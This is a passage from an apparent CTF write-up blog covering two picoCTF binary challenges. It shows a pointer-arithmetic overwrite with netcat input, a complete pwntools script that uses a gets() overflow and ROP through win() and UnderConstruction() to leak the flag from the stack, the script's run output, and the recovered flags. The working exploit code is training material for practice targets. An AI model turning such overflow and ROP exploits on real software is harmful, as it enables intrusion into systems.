Now that we know fun[-16] points to the check variable, it is time for us to calculate what value to set to it. Note that it is “fun[-16] += num2
” which is an arithmetic, not assignment. Therefore, I calculated that we need value -314 to make 0x0804C080 (hard_checker) -> 0x0804C040 (easy_checker).
0x08049436 - 0x080492FC = 0x13A (314) -> -314
12.2 Passing the score condition
Firstly, we need to note that easy_checker() is the function that we can pass the 1337 score condition as 13371337 from hard_checker() requires around 106,121 ‘~’ as input to the story variable. This is not possible since the accepted input length is 127 due to “scanf("%127s", story);
” from line 78. Meanwhile, a score of 1337 is possible to achieve. Note from the red arrow that the ASCII value of each character is used to sum up the score.

Below shows how I derive that we need 10 ‘~’ and 1 ‘M’ to obtain the total score of 1337.
1337 / 126 = 10.61111111..11 '~' are needed 1337 - (126 * 10) = 77 ('M' can be used since M's ASCII value is 77)

12.3 Obtain the flag
Since we now know the values to input, we can use Netcat to connect to the server which will give us the flag.
kali@kali~$ nc saturn.picoctf.net 57798 Tell me a story and then I'll tell you if you're a 1337 >> ~~~~~~~~~~M On a totally unrelated note, give me two numbers. Keep the first one less than 10. -16 -314 You're 1337. Here's the flag. picoCTF{0v3rwrit1ng_P01nt3rs_789b0a98}
13. stack cache

This challenge provided us with a binary ELF file, vuln, and a source code file, vuln.c where we have to perform ROP to go to different functions to leak the flag and parse the output like how we did for format string attack flag leakage on stack for “Flag Leak” challenge. Let’s break down the exploitation step by step.

Firstly, let’s look at vuln(). We can see that we need to overflow 0xA + 4 bytes (EBP space on the stack) = 14 bytes of characters to reach the return address as vulnerable gets() is used.

Next, we know that the win() function retrieves the flag but it does not print it. Instead, we can call the interesting function, UnderConstruction(), which can help us to print the flag! Note that despite exiting the win() function, the flag is still on the stack. As long as nothing overwrites it, the value is still intact and we can print out the flag’s value.
To prove that UnderConstruction() can print the flag’s value, let’s look at the win() function at the offset of the buf variable which will store the flag. Note that it is located at 0x40. If we look at UnderConstruction()‘s variables, we will see that the content of win()‘s buf variable is split into different variables in UnderConstruction() and they will be printed out via %p.


You might be wondering why do I include variable age which is at offset 0x44. This is because we are doing ROP, we go to each function by “returning” to the address the ESP is pointing to. Meanwhile normal function call doesn’t do that. When we jump to UnderConstruction(), we are already 4 bytes at the higher ESP address than win(). Look at the image below’s EBP position between vuln(), win(), and UnderConstruction(). You will see that it is 4 bytes higher and higher into the address. That’s why variable age at offset 0x44 is at the start of win()‘s buf variable.

Now that we know UnderConstruction() is the function we need to print the value, we have to note that it uses %p to print the stack’s content which means the hexadecimal given to use will be in reverse order, similar to “Flag Leak” challenge. Besides that, the age variable contains the start of the flag string but the age variable is the last to be printed on UnderConstruction(). All the variables in UnderConstruction() are printing the variables in reverse order. Hence we have to retrieve the flag values and reverse it.
Below shows an example of the output if our ROP works well, we will get the flag printed out in hexadecimal in reverse order.

Finally, with all that knowledge and findings, I crafted out exploit.py which will help us to do ROP and process the printed strings so that we can obtain the flag in a human-readable format.
from pwn import *
context.arch = 'i386'
# create ELF object of the challenge's files we want to exploit
elf = ELF("./vuln")
# offset before hitting the return address
overflow_offset = 14
overflow = b'A' * overflow_offset
# connect to server
r = remote('saturn.picoctf.net', 63383)
#r = process("./vuln")
# craft full payload (including win()'s address)
log.info("win()'s address: " + str(hex(elf.symbols['win'])))
log.info("UnderConstruction()'s address: " + str(hex(elf.symbols['UnderConstruction'])))
payload = overflow + p32(elf.symbols['win']) + p32(elf.symbols['UnderConstruction'])
# send exploit once prompted
r.sendlineafter("Give me a string that gets you the flag\n", payload)
# ignore puts(buf) that echos our input
r.recvuntil('\n')
# get last part of the flag from "User information : ..."
flag3 = r.recvuntil('\n')
# get 2nd part of the flag from "Names of user: ..."
flag2 = r.recvuntil('\n')
# get 1st part of the flag from "Age of user: ..."
flag1 = r.recv()
log.info("Preprocessed output of the flag: \n" + str(flag3 + flag2 + flag1))
# process the flag since they are all in hexadecimals and have additional strings we don't need like
flag3 = flag3.decode('utf-8').split(' : ')
flag3 = flag3[1].strip().split()
flag3 = flag3[::-1] # reverse the list of hexadecimals
flag2 = flag2.decode('utf-8').split(': ')
flag2 = flag2[1].strip().split()
flag2 = flag2[::-1] # reverse the list of hexadecimals
flag1 = flag1.decode('utf-8').split(': ')
flag1 = flag1[1].strip() # flag in "Age of user: ..." only has one hexadecimal hence we don't need to split and reverse it
# join the lists
flaglist = list()
flaglist.append(flag1)
flaglist.extend(flag2)
flaglist.extend(flag3)
# convert all string hexadecimals to characters (change back to little-endian by using p32())
flag = ""
for hexdec in flaglist:
try:
# convert hexadecimal values to chars
flag += p32(int(hexdec, base=0)).decode("utf-8")
except UnicodeDecodeError:
# removes "0x" from this hexadecimal
hexdec = hexdec[2:]
# since %p prints out hexadecimal means the 4 characters are in reverse order, we need to reverse retrieve their bytes
for single_hexdec1, single_hexdec2 in zip(hexdec[-2::-2], hexdec[-1::-2]):
single_hexdec = single_hexdec1 + single_hexdec2
# convert single hexadecimal value to integer
ascii_val = int(single_hexdec, base=16)
# add printable readable characters
if 32 < ascii_val and ascii_val < 127:
flag += ascii_val.decode("utf-8")
# found '}' which means it is the end of the flag
if ascii_val == 125:
break
else:
# start of non-possible flag value.
break
break
log.info(flag)
r.close()
Running the script allows us to obtain the flag.
kali@kali~$ python3 exploit.py [*] '/home/kali/Desktop/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to saturn.picoctf.net on port 63383: Done [*] win()'s address: 0x8049da0 [*] UnderConstruction()'s address: 0x8049e20 /home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/kali/Desktop/exploit.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes r.recvuntil('\n') /home/kali/Desktop/exploit.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes flag3 = r.recvuntil('\n') /home/kali/Desktop/exploit.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes flag2 = r.recvuntil('\n') [*] Preprocessed output of the flag: b'User information : 0x80c9a04 0x804007d 0x39313139 0x32636335 0x5f597230 0x6d334d5f\nNames of user: 0x50755f4e 0x34656c43 0x7b465443\nAge of user: 0x6f636970\n' [*] picoCTF{Cle4N_uP_M3m0rY_5cc29119}\x0 [*] Closed connection to saturn.picoctf.net port 63383
I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂